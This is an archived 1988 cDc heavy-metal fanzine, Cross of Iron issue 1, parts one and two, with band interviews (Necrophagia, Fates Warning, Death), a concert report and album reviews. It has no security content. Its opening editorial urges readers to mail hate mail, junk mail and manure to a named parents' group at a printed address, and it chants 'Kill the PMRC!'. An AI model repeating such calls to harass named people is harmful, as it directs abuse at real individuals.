verbally assaulted for wearing them. All I +can say is that I will never put up with this. Everytime the rent-a-pigs fuck +with me, I'll fuck with them right back. This is a free country and I WILL +wear what I want to when and where I want to. As for the Hanes Mall rent-a- +pigs, all I can say is: "Look out wankers!" + +The second occurrence that pisses me off is this outfit of "concerned" (and I +use that word as loosely as possible) parents and officials in California that +call themselves "Back In Control". These people not only strike out at metal +and hardcore in general, but also infringe on fans' Constitutional rights. + +The head of this Plastic Army front, Dianne P., is referred problem kids who +listen/dress/act metal or hardcore. Her organization then attempts to +"rehabilitate" them by not allowing them to communicate with their friends, +listen to their music, or anything. Their idea of "treatment" is synonymous +with imprisonment. These fascists seem to forget that people should have the +right to be individuals and choose their own music, clothes, etc. based on +personal preferences, not what is deemed 'correct' by self-rightous +authoritarians. + +Members of Back In Control are regarded by both law enforcement agencies and +concerned parents (who are usually never home or bombed out on drugs and +alcohol) as metal/hardcore experts. Unfortunately, this is not the case. +The fact that they have labelled "Metellica" (Metallica) and "Anthray" +(Anthrax) as being satanic is one of the greatest arguments for ignorance +that I have ever heard. + +At present, this organization is based solely in California, but we have a gut +feeling that they will be expanding in the near future. Their stormtrooper +tactics must be stopped. So if you live in California and have friends being +subjected to such unconstitutional tactics, we urge you to step in and help +your friends. We do not, however, condone any violent/unlawful means to +achieve the above goal as that would merely strengthen their case against us. +I don't know why I just said that, 'cuz I'd be one of the first to go off and +slam all of their faces into a fucking brick wall. + +If any of you have any stories or comments to make, please send them to: +Thrashin' Rage c/o CROSS OF IRON, 145 Rosedale Circle, Winston-Salem, NC +27106. U.S.A. (for m.o.d?) + +We hereby challenge Dianne P. and other members of Back In Control to a tel- +ephone interview. If you feel brave, then respond. Address all hate mail to: +BACK IN CONTROL CENTER, 1234 W. Chapman, Suite 203, Orange, CA 92668. Tell 'em +that CROSS OF IRON sent you. In fact why don't you collect all your junk mail +for a month and mail it to them? Don't forget to reverse the charges! I'm +sure they'd really enjoy that. Mail them some goddamn horse shit. + + Kill the PMRC! Kill! Kill! Kill! Kill the PMRC! Kill! Kill! Kill! + +------------------------------------------------------------------------------- +ALBUMS THAT WE SUGGEST THAT YOU NEVER BUY! Sludge List Compiled by Anaxagorus + +GARGOYLE "Limited Edition EP", HELLCAT "Hellcat", DIAMOND "Diamond", D.C. +LACROIX "Livin' By The Sword", and KING KOBRA "Limited Edition EP" --Please +burn all copies in your area. Thanks. + +[Raver: If you bought any of these then you like basically wasted your money!] +------------------------------------------------------------------------------- +AN INTERVIEW WITH NECROPHAGIA Conducted by The Raver in Feb, 1988 + +TR is The Raver and KJ is Killjoy, Necrophagia's vocalist (lungs of +death, vomit, and skanking). This interview was done over the phone between +the Drastic Productions World Genocide Center (NC) and New Renaissance's +offices in California. + +TR: So Killjoy, I hear that you kicked out everyone else in the band. + What's up? +KJ: Yeah, the guys weren't maturing as musicians and band wasn't progressing + as I wanted it too. Trust me, the new lineup will be much better. +TR: What are Larry "Madthrash" Maddison and Moloch up to now, then? +KJ: Off doing their own stuff, I suppose. I don't know who "Moloch" is. There + was never anyone in the band with a name like that. +TR: Th bio I received said that there was a dude named that in the band. +KJ: Yeah. The bio was pretty much false. No one here at New Renaissance will + take credit for it. +TR: I don't blame 'em. Sounds like the National Enquirer Bio Sheet Company + must have taken a part in this (heh). +KJ: Yeah (laughing). I'll have to remember that. +TR: Who makes up the new lineup besides yourself? +KJ: Well I really can't say. I'm pretty sure of the new guys, but the label + said not to say anything about it until I was completely sure. +TR: Alright. So what about the follow up to "Season of the Dead"? +KJ: The new album promises to be a lot weirder. +TR: That'll be a hard act to follow. How has "Season of the Dead" been doing? +KJ: Well if you mean sales then it's sold past 10,000. +TR: That's good to hear. In what ways will the new album differ from "Season + of the Dead?" And what will the new album be called? +KJ: There will be more rhythm. It will be slower and we will be consent- + rating more on heaviness. Lots of fast parts still tho' and it will be + HEAVY. I can't tell ya what the album will be called since we haven't + thought up a name yet. We're waiting for it to hit us. +TR: Alright, what about touring plans? +KJ: We'll be touring after the new album has been released. +TR: When will the new album be released? +KJ: It'll be released around mid July. There will be a pic disk too. +TR: Sounds like the New Renaissance people are really into it. +KJ: Yeah. There's even a "Season of the Dead" CD out. They have been really + helpful. +TR: I remember first getting "Season of the Dead". The artwork really blew me + away. Has Drew Elliot done the new LP's artwork yet? +KJ: Yeah. He's done some really heavy artwork. It's better than the "Season + of the Dead" album cover). +TR: I can't wait to check it out. So tell me, how did you pick up a name like + Necrophagia? +KJ: Well, I love zombie flicks and wanted to sing about shit like that but I + wanted a name that was deeper than something like Zombies or Death. +TR: What exactly does the word Necrophagia mean? +KJ: It means a love of eating the flesh of dead bodies. +TR: One of my favorite things to do. What are some of your influences? +KJ: Earlier thrash like Venom, the complexity of Mercyful Fate, the + Plasmatics, and all horror soundtracks. +TR: Thanks for the interview. Hope to talk with ya soon. +KJ: Yeah, see ya later. + + NECROPHAGIA < You can get new Necrophagia merchandise from + P.O. Box 282 << this address. Just send an SASE (or an IRC if + Wellsville, OH 43968 < overseas) to this address requesting info. + +------------------------------------------------------------------------------- +SPEAKING OF DEATH by His Unholiness, ANAXAGORUS + + It seemed a promising evening as I dialed the phone number of Rick +Rozz (ye olde guitarist for DEATH). When we finally hooked up I immediately +inquired if he was back in the band and, if so, what had happened [For all +readers who have been lost in some dank cavern, DEATH's debut release, Scream +Bloody Gore, was done without Rick -Eds]. Rick said that although the DEATH +lineup had changed previous to this LP's release, it had been changed once +again. About this time I came to realize that the bio sheet I had could be +regarded as ancient history. "There go most of my questions," I said as I +threw the bio away. Rick and I both laughed. + + Apparently after the release of Gore Chris Reifert and Robbie [We +forgot his last name -Eds] had left for bloodier pastures. Rick, who had +originally been in the band, was then in a band called MASSACRE. Also in +MASSACRE were Kam (also originally in DEATH), Bill Andrews, and Terry Butler. +With all these hectic lineup changes here is what became... + + Rick, Terry, and Bill joined up with Chuck Schuldiner (of DEATH) +and formed the new DEATH lineup. When asked what became of MASSACRE, Rick +said, "MASSACRE is now history." Kam, Chris, and the other dude are all off +persuing their own projects now. Robbie is supposedly forming a new band with +Tony Scaglione [Of ex-WHIPLASH fame -Eds] and Pat Burns [Of DEATHRASH -Eds]. + + What is DEATH up to nowadays? Why working on their new LP which is +unnamed as of yet. Recorded at More Sound Studios (Tampa, FL), it is to be +released sometime this coming May. Rick says that it will be DEATH's best +album AND the best release of 1988 [Yeah? -Eds]. Some of the titles we can +expect to see on vinyl include "Choke On It" (about a bunch of Mexicans that +died in a box car when they got locked in and temperatures soared to 120), +"Left To Die", and "Land Of No Return" [This track appeared only on the Gore +CD -Eds]. + + What changes will we be seeing on the new DEATH album? "The songs +will be longer. They will be epics," says Rick. "The songs now span about +4 and a half to 6 minutes apiece and are more complex." What about the +riffing, you ask? "There will be unbelievable riffing," says Rick. He goes +on to say that the new LP "will be the top LP of '88," and that Bill is a +better drummer than Tony Lombardo of SLAYER [Really? -Eds]. + + To support their upcoming slab of oppressive death metal, DEATH is +planning on doing a European tour in '88. More on this later. + + Lastly, DEATH no longer plays the tunes "Evil Dead" or "Beyond The +Unholy Grave" as they are tired of them and feel that they can play better +songs anyway. + +------------------------------------------------------------------------------- +AN INTERVIEW WITH FATES WARNING Conducted by The Raver in Jan, 1988 + +TR is The Raver, as usual. The interview was done over the phone with +Frank Aresti (FA) and Joe DiBiase (JD) at Metal Blade's New York office. + +TR: What's been going on with Fates Warning of late? +FA: Well, we have new management, real management, and a new album coming out. +TR: Oh yeah? Tell us about the new album. What will it be like? +FA: "No Exit" will be different -but it will be "us". It's being mixed now + and will be released on February 19th. +TR: What's going to be different about this album than your last few releases? +JD: It's going to be heavier and more progressive... +FA: Yeah, and it will have a lot more moodiness, and will be more aggressive. + It will have a lot of weirdness, but will be pretty heavy and straight + forward. +TR: Can ya clue us in as to what will be on the album? Like a few song + titles and whatnot? +FA: Sure. Side one will have five songs, including: No Exit, In A Word, and + Shades of Heavenly Death. Side two will be one song with eight sub- + sections like mini-songs. Each will have a separate name, like The Ivory + Gate of Dreams. +TR: Vehicular. Who did the production work on the LP? +JD: Roger Probert. +TR: Alright. What else has been going on with Fates? +FA: Well, we fired John Arch, the old vocalist. +TR: Yeah? Who's doing vocalez for ya now? +FA: Ray Alder. He's from San Antonio, Texas and used to be in a demo band + called Syrus. They might have broken up by now. +TR: Why'd ya give John his processing papers? +FA: He was a pain. His attitude was incompatible with ours. Being on tour + with him was like being in a living Hell. +JD: It wasn't that easy... +TR: Okay, what about touring plans? +FA: Well, we're going to do local tours and wait for the album to set in. + Then we're going to go on a major tour, starting in late February. We'll + be on the road for about a year, making up for lost time. +TR: Diggin'. Anything you'd like to throw at all our hackin' readers? +FA: We hope you like the new album and we hope to see you all on tour. We'll + be everywhere. +TR: Like thanks for the interview. Later. + +------------------------------------------------------------------------------- +DESTRUCTION WITH INDESTROY by The Raver + ~~~~~~~~~ + This is a hot new band from Rockville, MD, formed in '83 by Mark +Strassburg (lead guitar and vocalez). The other members include Jeff Parsons +(bass), Rob Brannigan (drums), and Shaun Williams (rhythm guitar and vocals). +Their debut LP is out on New Renaissance Records and is a sure-fire killer. + + These four disciples of speed decided upon the name INDESTROY when +they were driving down the Jersey Turnpike and saw all the smog. The name +INDESTROY just sorta popped into their heads [We like it -Eds]. + + The New Renaissance deal was conducted between '86 and '87 and took +a year to complete. These guys have one helluva sense of humor. Mark Stra- +ssburg sais that he likes the LA smog. "It's the best smog in the world". + + INDESTROY is heavy and fast, exemplifying industrial thrash. They +want everyone to know that even tho' they are fast the don't play speed for +the sake of playing speed. They rise above the LP-selling warhorse of +Satanism and would rather sing about things like drugs and getting busted. + + INDESTROY's debut LP, Indestroy, was produced by Chris Kozlowski +(has worked with TROUBLE before), and is...um...brutal as hell [See the +review in the review section -Eds]. + + As for formal musical training there has been none (and it's not +apparent from the album). Their new drummer has been pounding away for 14 +years. Their old drummer, Gus, left for Safeway 'cuz of musical differences. +Mark said that he was a pussy and couldn't handle touring and live perform- +ances. He also says that he went back to the 'burbs to be a grocer. "He's +a weenie! He died in a bizarre gardening accident and couldn't take a joke," +says Mark. + + Musical influences, you ask? Why sure, they've got influences +(doesn't everyone?). All the members are open-minded and Mark likes every- +thing from MINOR THREAT to WILLIE NELSON [Yea, We'd say that was open-minded +-Eds]. Shaun is into progressive music and likes YES and SABBATH. Rob is +the more hardcore oriented guy and used to play in SENSELESS THEORY. Jeff P. +is the thrash maniac here and likes DEATH and POSSESSED. + + Now Mark wants to make sure that you think he's intelligent 'cause +we told him that this was an intelligent publication [Awright, who lied? -Eds] +so he decided that he'd say something on the political swing of things. "At +first I didn't like Ollie North, but now I'm going along with the rest of the +U.S. He admitted he fucked up. I'd vote for him. I hate Albert Gore." + + What's an "average" day for the members of INDESTROY? Generic food, +rock 'n roll, beer and/or liquor, and sleep. Beer of choice? Bud. "It all +really depends upon the cycle of the moon," said Mark. + + More information about INDESTROY to be disclosed in the near future. + +------------------------------------------------------------------------------- +A CHAT WITH THE NUCLEAR GUYS by The Raver + + It was a rather hurried day when Rob-'R'ock and I were to do an +interview with John Connelly of NUCLEAR ASSAULT [Note: this interview was +done before the bizarre I.R.S./Combat deal -Eds]. Rob forgot all about it +and got here [At the Drastic Productions World Genocide Headquarters -Eds] +just before I called up John. + + Well, we got a hold of John at his apartment in Manhattan, NY and +started the interview rolling with a barrage of questions and inquiries. + + First up, Rob asked John a couple of questions about Maximum +RockNRoll, the leading hardcore publication, based in Berkeley, CA. +It seems as if the readers have been slagging NUCLEAR ASSAULT and the staff +have not even bothered to cover both sides of the issue. John further said +that he sent a letter to MRR but that it will probably not get published. +Take cover, some hypocritical so-called 'punks' are on the march! + + The first question I asked John regarded their most recent release, +The Plague EP. I was wondering if the cover was supposed to depict Chernobyl +and indeed it does. Unfortunately it was also supposed to depict Three Mile +Island. John mentioned that he had spent three days discussing how the cover +was supposed to be with the artist [at Voodoo Airbrushing Studios in Canada +-Eds]. While NUCLEAR ASSAULT were gigging the artist went ahead and did the +cover artwork and the end product depicted only Chernobyl. The artist argued +the point that to depict both Chernobyl and Three Mile Island in the same +picture was "artistically impossible" [Sounds like a cop-out to us -Eds]. +Needless to say, John was rather disappointed. In fact, the Game Over LP +cover was also not exactly what they had wanted. NUCLEAR ASSAULT seem to be +plagued by the problem of getting cover artwork done the way they want it +done. + + NUCLEAR ASSAULT has written the material for an upcoming LP (no +title as of yet) and it was recorded at Pyramid Studios in Ithaca, NY during +November of '87. The LP is t be released on I.R.S. records and will have +between 10 and 12 tracks on it. + + The new LP is good news as NUCLEAR ASSAULT have been having problems +with their label, Combat [Note: all info here is according to John Connelly +-Eds]. The problems were mainly in the neighborhood of budget and touring. +The Plague was supposed to be a 4 track EP but the NUCLEAR guys turned it into +a 6 track instead. Combat had originally wanted them to do their new LP with +a budget less than that of The Plague. However, all these problems seem to +have been ironed out. Rumor has it that there will be a NUCLEAR ASSAULT video +after the new LP has been released. + + Although NUCLEAR ASSAULT have been signed to Combat for two years +there has been no real tour as of yet, save for a few gigs here in the States +and in Europe [With AGENT STEEL and ATOMKRAFT -Eds]. Hopefully there will be +a full-scale U.S. tour in the near future. + + I guess this was about the time when a friend of John's, Jeff Hickey +[Roadie for NUCLEAR ASSAULT and HELIX -Eds], came in. I knew someone had come +in when John started exclaiming, "Man, that's fucking sick!" As to what was +so sick, it appears that Jeff was eating Beefaroni right out of the can - cold. +[Yeah, that's pretty fucking sick -Eds]. + + At this point it is really a trial period for both NUCLEAR ASSAULT +and Combat. If it works out now then I guess everything will be okay. But +lemme tell ya, it was rough there for a while. In fact there was mention of +breaking contracts, etc. I guess in eight or nine months we shall see what +becomes of all of this. + +------------------------------------------------------------------------------- +GUTERALIZING WITH PRIMAL SCREAM by His Unholiness, ANAXAGORUS + + PRIMAL SCREAM was the first band signed to Mercenary Records, the +metal division of Celluloid Records. PRIMAL SCREAM burst onto the scene in +April of '86 and their debut LP, Volume One, was released in April of '87. + + Keith Alexander, PRIMAL SCREAM's guitarist, explained that "throk" +best describes their style of music (and is it good). "Throk is the mating +of thrash and rock," explained Keith. Throk "just kinda came up". It fits. + + PRIMAL SCREAM respects both the older forms of metal (MOTORHEAD, +LED ZEPPELIN, and BLACK SABBATH) and the more recent forms (METALLICA, et al). +In fact, the D.J. at L'Amour called PRIMAL SCREAM a "pissed-off METALLICA". +PRIMAL SCREAM's music is reminiscent of the METALLIKATZ and their songs fall +into the socially conscious arena of thought. They take an angry stance when +writing songs and their songs convey this. Just look at such songs as "State +Of The State", which is about terrorism, and others. + + I had heard that they were going to call their debut slab First +Breath and was wondering why they had changed the name to Volume One. Keith +explained that he "had wanted to call the album First Breath but the other +members of the band didn't like it." I guess that First Breath implies that +the next will be Last Breath while Volume One implies that there will be more +to come. Keith wasn't thrilled about it be he isn't dwelling on it. + + Keith Alexander plays the guitars for PRIMAL SCREAM and dedicates +himself to the creative process. He has played and recorded with CARNIVORE. +Steve Alliano plays drums for PRIMAL SCREAM and has played with numerous NY +bands [Ex-DEATHSLAYER and HELLION -Eds]. He has also appeared on two comp- +ilation albums, Iron Tyrants and New York Metal '84. An interesting side +note is that Steve is a skilled classical cellist and clarinetist. + +As for PRIMAL SCREAM's other members we have no information.. Seems as if +there have been some radical lineup changes and they have a new bassist and +are either (a) looking for a full-time vocalist or (b) already have a full- +time vocalist [Wow, aren't we informed? -Eds]. More information next ish. + + PRIMAL SCREAM's new LP will be out soon (unnamed as of yet) and +will feature such titles as "Dead By Thirty" (about suicide and diseases), +"All The Blood Lost" (about sea disasters), and "Fall And Decline" (about +environmental problems). + + PRIMAL SCREAM go for the caveman appearance during stage shows +with specially crafted guitars and a host of 9' tall sculptures of cavemen +(collectively called Rok, their consent). Rok is not to be construed as +an IRON MAIDEN/Eddie clone as he does not come alive and is not the center- +piece of their album covers, nor will he ever be. + +------------------------------------------------------------------------------- +EXODUS, CELTIC FROST, AND ANTHRAX LIVE AT THE TOWER, PHILADELPHIA by The Raver + + This is an example of the lengths to which we will go to supply you +with information which you will want to know. A special road trip was org- +anized to book up to see EXODUS, CELTIC FROST, and ANTHRAX play at The Tower +in Philadelphia, PA. While the show was fuckin-A the trip turned out to be +a living Hell but I won't bother you with all the gory details cause we do +not have the room to print it and you'd probably rather hear about the gig. + + We arrived at The Tower at about 7:30, about a half hour before the +curtains opened and hung out until the overactive cops and security started +kicking people out if they didn't have their tickets. We went to collect our +guest passes and got the Combat passes, but lo and behold Second Vision fucked +up and two of the guys didn't get in [This i where all the problems began +-Eds]. The remaining three of us went on in and started to mill around. The +place was packed and quite sold out. More problems made themselves visible +now and we lost our interviews with CELTIC FROST and EXODUS because of +ANTHRAX's tight security (thank you, wankers). Seems as if Megaforce World- +wide (ANTHRAX's label) just "forgot" to tell the other labels that you would +need an ANTHRAX laminate to get backstage. We couldn't even get within ten +feet of the backstage entrance. + + About this time the show started and EXODUS sauntered out and began +to slay...uh...I mean play [No you didn't -Eds]. ANTHRAX allotted them a +massive slot of four songs [Um..I think The Raver's being sarcastic here]. +Starting off their set, they played such mass murderers as "Parasite", "Brain +Dead", and an old classic, "And Then There Were None" (a favorite of your +truly). The fans were out in massive numbers and one guy even managed a +decent stage dive (there would've been more but for that goddamn security). + + About thus time the security started to act like assholes and made +us move way over to the right side of the venue so we lost our great front +coverage. After a while of waiting and bashin' to the thrashin tunes being +kranked over the PA system CELTIC FROST made their appearance. The Swiss +death masters were able to play more songs, including "Mexican Radio", +"Mesmerized", "Procreation Of The Wicked", and "Dethroned Emperor". CELTIC +FROST really held the crowd by the throat as they reaped audio-destruction +throughout The Tower. + + About now the security really began to piss me off [You mean it +took you 'till now? -Eds]. They started throwing people out for no reason. +That may not sound bad but let me tell you about the manner in which they +threw people out. Six guards would grab a dude that was moshin' or bangin' +and would throw him out face-first into the concrete alley and would then +proceed to kick him a bunch of times. Absofuckinglutely pathetic. + + Soon thereafter, ANTHRAX made their way onstage amidst a purplish +haze and kicked right into "Among The Living". They were well-received by +the masses. The ANTHRAX boys must have played over twenty songs, mostly from +Spreading The Disease and Among The Living. If not the whole song then +half of it. At one point a fan of theirs was trying to get onstage while +being pummeled all the way by those goddamn, stinking security guards. +When ANTHRAX's bassist saw this what did he do? Why he shook his head and +walked away [Grrr -Eds]. ANTHRAX apparently didn't give a fuck. Near the +end of their second encore about thirty or forty of their fans got onstage +and started moshin' away. Joey Belladona said, "Hey, we don't want anyone +to get killed! Chill!" Seems like the front half of The Tower got totally +destroyed. We're talking megatonnage here, brutal reader. ANTHRAX said +that they would be back in the City of Brotherly Love (or is that Death?) +next year after their new album was released. + + The aftermath was pretty brutal. It looked as if someone had set +off a couple'a grenades in The Tower's lower section. The theatre seats were +ripped apart. We're talking about ripped from raw steel. Well, most of you +should know that you don't throw a thrash gig without a slammin' pit. Folks +representing The Tower were highly pissed [Can ya blame them for their utter +stupidity? -Eds]. + + In closing I will reveal my opinions on the show. EXODUS and CELTIC +FROST blew ANTHRAX away. Hell, I already had it in for ANTHRAX anyways. All +of the bands put one one helluva show, though. It was definitely not a waste +of $15.00 for the tickets (unless you were one of the people who got kicked +out). The Spectra-Guard security were all assholes. I just wonder how scared +the smaller men and women were. God, I hope I never meet one of those people +who were running guard duty for that show ever again. No telling what might +happen. But all in all it was a thrashin' gig, even if the venue did get +bashed and trashed. + +------------------------------------------------------------------------------- + Well, we're out of room for this part of Issue 1. Now read parts #2 and #3! + + CROSS OF IRON (c)1988 cDc communications + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +------------------------------------------------------------------------------- +CROSS OF IRON Number 1, Part #1 0/5,6/88-52 + diff --git a/textfiles.com/groups/CDC/cDc-0053.txt b/textfiles.com/groups/CDC/cDc-0053.txt new file mode 100644 index 00000000..6ac4f563 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0053.txt @@ -0,0 +1,775 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications presents... [ x x ] + \ / \ / + (` ') CROSS OF IRON FANZINE (` ') + (U) (U) + + Volume I, Number 1 (Part #2) May-June 1988 (c)1988 cDc + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +[VINYL MAYHEM INTRODUCTION] by The Raver + + Well, since we received so many albums from all the indie labels we +had to make a separate file for them all to fit. Every issue of CROSS OF IRON +will be composed of two or more files. One for all of the articles, inter- +views, and editorials AND one for all the LP reviews. We're sure that you'll +enjoy the massive amounts of reviews we do. + + Well, we have opened up the surgical theatre this issue and we have +a hell of a lot of reviews for you. Lined up on the examination slab are the +following metallic slices of death pizza: + + CARNIVORE: Retaliation, ZOETROPE: A Life Of Crime, KUBLAI KHAN: +Annihilation, SACRILEGE: Within The Prophecy, DEATH: Scream Bloody Gore, LIEGE +LORD: Burn To My Touch, INDESTROY: Indestroy, EXE: Stricken By Might, DARK +ANGEL: Darkness Descends, DEATH ANGEL: The Ultra-Violence, JOE SATRIANI: +Surfing With The Alien, EXODUS: Pleasures Of The Flesh, HOLY TERROR: Terror & +Submission, BLOOD FEAST: Kill For Pleasure, PRIMAL SCREAM: Volume One, +AGNOSTIC FRONT: Liberty & Justice For, INFERNAL MAJESTY: None Shall Defy, +DIAMOND: Diamond, THRASH METAL ATTACK: Compilation, KING DIAMOND: Abigail, +ATTILA: Rolling Thunder, NUCLEAR ASSAULT: The Plague, THE NECROS: Tangled Up, +POSSESSED: The Eyes of Horror, and a whole lot fuckin more! + + We weren't lying when we said we had a hell of a lot of reviews for +you to read! Now we understand that some of these albums are kinda old but +understand that since they were given to us for review we felt that we had to +do them (even if they are a bit crusty now). All future issues will have new +releases only. So get with it -- get CROSS OF IRON, the definitive thrash +FanZine (and it's electric, too!). Wow... + +------------------------------------------------------------------------------- +Call The Metal AE [201] 879-666/8 Primary: KILL Get CROSS OF IRON there! +------------------------------------------------------------------------------- + +EXODUS: Pleasures of the Flesh (Combat) by The Raver + + I remember getting ahold of Bonded by Blood and exclaiming about the +day their second LP would hit the streets. I kept right on exclaiming for the +following two years. Well, I am happy to say that PLEASURES OF THE FLESH is +here. + + I know that this is probably poor journalism, but I've got to quote +the new EXODUS bio (unsolicited plug: Combat sure does good bio sheets these +days). "Pleasures of the Flesh literally eats Bonded by Blood alive and spits +the bones back in your face." This LP is so fuckin' brutal. + + The LP jacket pictures the cannibals of Exodus in, where else but the +Cannibal Bar and Grill (aka Punchline, San Francisco, Ca). Paul Baloff is now +history, but Steve Souza makes up for it (I still kinda miss Baloff's raging +screams, tho'). From POTF it is apparent that EXODUS has matured, both +musically and lyrically. They have, however, retained their absofuckinglutely +sick attitudes (a definite plus to this wretched critic). I even hear that +the original LP cover artwork was scrapped 'cause it was so brutal. + + Enough of my mindless ramblings. Let me take you on a tour, a +journey through a strange and eerie jungle. A jungle where the likes of +EXODUS hang out. As we slowly begin our trek on side one with the likes of +"Deranged". If this tune doesn't make your eyes open then cash it in, 'cause +your ride's over. Then we get into "'Til Death Do Us Part", a tune that will +rock you out a window and splat you all over the concrete. "Parasite" is one +of my faves. It will infect you and leave you lifeless in its wake. Some- +where near the end of mortal decomposition, "Brain Dead" kicks in and starts +crunching your bones. The last track on the first side is "Faster Than You'll +Ever Live to Be". This tune ought to make all pop teenyboppers flee in utter +fear. 'Nuff. + + Side two opens up with the album's title track, one of the most +interesting songs that I have heard all year. "Pleasures of the Flesh" starts +out with a recreation of pre-death, cannibal-infested South American jungles. +It's as cool as can be. After bashing to this, lick your skin and see if you +can't taste the cauldron's icky residue. After this comes "30 Seconds", a +powerful instrumental by axe-master, Gary Holt. Three cheers to Exodus' song +writing. Soon to follow, possibly a bit too soon (at this point I wanted more +"30 Seconds") is "Seeds of Hate". This song will definitely shine forth +EXODUS' intelligence. The lyrics are extremely well written and thought-out. +If you are listening to the album right now, then this is the time to sit +down, 'cuz the next track is going to shrink your head. "Chemi-Kill" is +easily one of the LPs best tracks. It is a pleasant, yet deadly, mix of +acoustic mastery and the ever popular crunching riffs (with wailing solos +thrown in for good measure) that make thrash what it is. In addition, the +lyrics are extremely well written. This tune will go down in cannibal history +(I can just see the Ecuadorian Kanka-bonos thrashing around to this track). +The LP closes out with "Choose Your Weapon", a fuckin' killer. At the end of +"CYW", the curtains close and you die. + + The music is fairly tense and of an above average quality, as do the +lyrics. Intelligence is written all over this album. While the guitars and +bass will make you bleed, the drums leave a bit to be desired. Ya see, Tom +Hunting produced his own drum tracks and, well, um, could have done it a bit +better. Still, they are good. Steve Souza (vocals) sounds a tiny bit like +Udo Dirkschneider (is that "dick sucker" in German?) of Accept. Not a whole +lot, though, and only in places... + + All in all, POTF is a must buy. In fact, I'll go a step further, buy +this album or die. How's that for straightforwardness? BUY OR DIE... + + +KAT: Worship Me Or Die! (Roadracer) by The Raver + + At first I didn't know what to make of this album. I mean with a +title like "Worship Me Or Die!" what are you supposed to do? Hit your knees +and bow down to the blasted thing? Nah. The biggest two problems with this +album are Kat's overuse of "greatest, best, fastest", etc, etc, ad nauseum, ad +infinitum; and Kat's remarkably poor lyrical ability. We're talking +repetition that will run you into the ground. I don't know about her claim to +being the fastest metal guitarist in the business. I think Hanneman and King +would give her a run for her money (which she would probably lose anyway). +This LP isn't all bad tho', just mostly bad. When the price drops to $5 or +less then pick up a copy. Oh, the song titles are: + +Side 1: Metal Messiah, Kat Possessed, Death To You, Satan Goes To Church, + Worship Me Or Die!, Demons +Side 2: Speed Death, Kill The Muthers, Ashes To Dust, Satan Says, Metal + Massacre. + + Songs worth checkin' out: Metal Messiah (lousy lyrics, decent +music), Kat Possessed (ignore the arrogance and you're doing alright), Satan +Goes To Church (has one hell of a vehicular intro, but the lyrics are all +repetitious), and Worship Me Or Die! (the name says it all). + + Songs NOT worth listening to: Just about everything else on the +album. Get the picture? Okay. Enough said here... On to the next slab... + + +MERCYFUL FATE: The Beginning (Roadracer) by Anaxagorus + + In the beginning... there was MERCYFUL FATE. And on the first day +was created the legendary "Nuns Have No Fun". On the second day the BBC +"Friday Night Rock Show" created "Satan's Fall", "Evil", and "Curse of the +Pharoahs". Whilst on the third day the "Black Masses" were celebrated. +The rest of the week they had a lot of fun. + + Tracks from the MERCYFUL FATE Mini-LP are featured as the first four +tracks on this album ("Doomed by the Living Dead", "A Corpse Without Soul", +"Nuns Have No Fun", and "Devil Eyes) and complete side one. These tracks were +the band's first real studio work and were recorded and mixed in a scant three +days. + + Soon after the release of the Mini-LP Tommy Vance invited the band to +do a live session for the "Friday Night Rock Show" on BBC Radio 1. All three +of the songs were recorded on March 19th, 1983 in 8 hours and were mixed later +by Tony Wilson. These songs make up most of the second side and are: "Curse +of the Pharoahs", "Evil", and "Satan's Fall". + + The last track on the album, "Black Masses" was recorded while +MERCYFUL FATE were in the Easy Sound Studio (Copenhagen, Denmark) recording +the "Melissa" LP. + + As you can see, "The Beginning" is a collection of MERCYFUL FATE's +early tunes and the album, as a whole, packs a tremendous wallop of bloody +death. The LP can get a bit muddy sounding at times but is a "must" for all +Fate addicts out there in fucking reader land. Not a bad LP. + + +SACRED REICH: Ignorance (Metal Blade) by The Raver + + Okay all you fuckin' thrashers. The order has changed. Yeah, that's +right. It's time for you all to bow down and recognize SACRED REICH as the +new Godz of Thrash. Nah, they can't hold a torch to METALLICA or SLAYER, but +they are damn fucking good! We're talking faster than fast, heavy as Hell, +and a mass of intelligent lyrics! These guys wail all over the place. + + The album artwork is, in a word, brutal.[and what a word it is.. -Eds] +The front is lined in barbed wire and has the Amerikan flag as a background. +There is an exploding airliner as well as a man's blindfolded head (signifying +a hostage) and, at the very bottom, the souls of the dead. On the back is the +SR mascot (no name as of yet but the "Name the SR Mascot" contest is over and +I'm waiting to hear the results). He's dressed right out of some neo-holocaust + /sci-fi death movie and is holding a smoking gun. He stands, looking over his +shoulder, in a battle-scarred city. The artist, Paul Stottler, is fucking +good. + + Now, for a brief track-by-track examination. Here's a list the +roster of tunes and some notes about the better ones. Here we go... + +Side 1: Death Squad, Victim of Demise, Layed to Rest, Ignorance, No Believers +Side 2: Violent Solutions, Rest In Peace, Sacred Reich, Administrative + Decisions + + "Sacred Reich" tells a lot about the SR dudes. They feel that the +fact that people actually believed in and followed (if not worshipped) Hitler +(or any man) is the ultimate ignorance. The song, as you guessed, is about +Hitler and his Reich. + + The title track, "Ignorance" is a song about how ignorant our society +is. With lyrics like "Our atmosphere clouded with poison/We're killing +ourselves to live/Filling the world with hate and dissension/We'll have only +our lives to give" you'd have to look far to find anything that hits the +problem better. + + "Administrative Decisions" is my favorite song. It was written after +SACRED REICH's high school (Coronado High, Scottsdale, AZ) refused to allow SR +to play there. It is a fast song with lots of complex changes and timing and +is funny as hell [Not to mention true -Eds]... "Conformity training center/Seas +of mindless brain dead kids/Wandering lost forever/What an education is". +Fuckin rails! + + "Victim of Demise" is a catchy track that is about death and dying +and covers just a few of the "industrial" deaths that people can undergo in +this society that we live in. Other good tracks are: "No Believers" (a +scathing attack on religion) and "Violent Solutions". + + This LP wins my vote for the best debut release of 1987, hands down. +I really must tell you, if you don't buy this LP then I will personally find +you and bash your fucking brains into the cement with ... with ... a sex doll +filled with lead shot! Buy! Buy! Make these dudes rich beyond all belief! + + +KUBLAI KHAN: Annihilation (New Renaissance) by Anaxagorus + + When Decrepit Monarx Firstborn and I first listened to this LP we +were shocked. It breathed a whole new sound of death into the likes of us. We +immediately dubbed the style as Mongolian Metal and ya know what? Greg +Handevidt (guitars/vocals) liked it when I told him that. Hell, it fits. +Just look at the band's name and the LP jacket (one helluva fantastic oil +painting - airbrushes are startin' to become moldy oldies) and you'll see +what we mean. The music is slightly reminiscent of MEGADETH but that's to +be expected as Greg Handevidt was 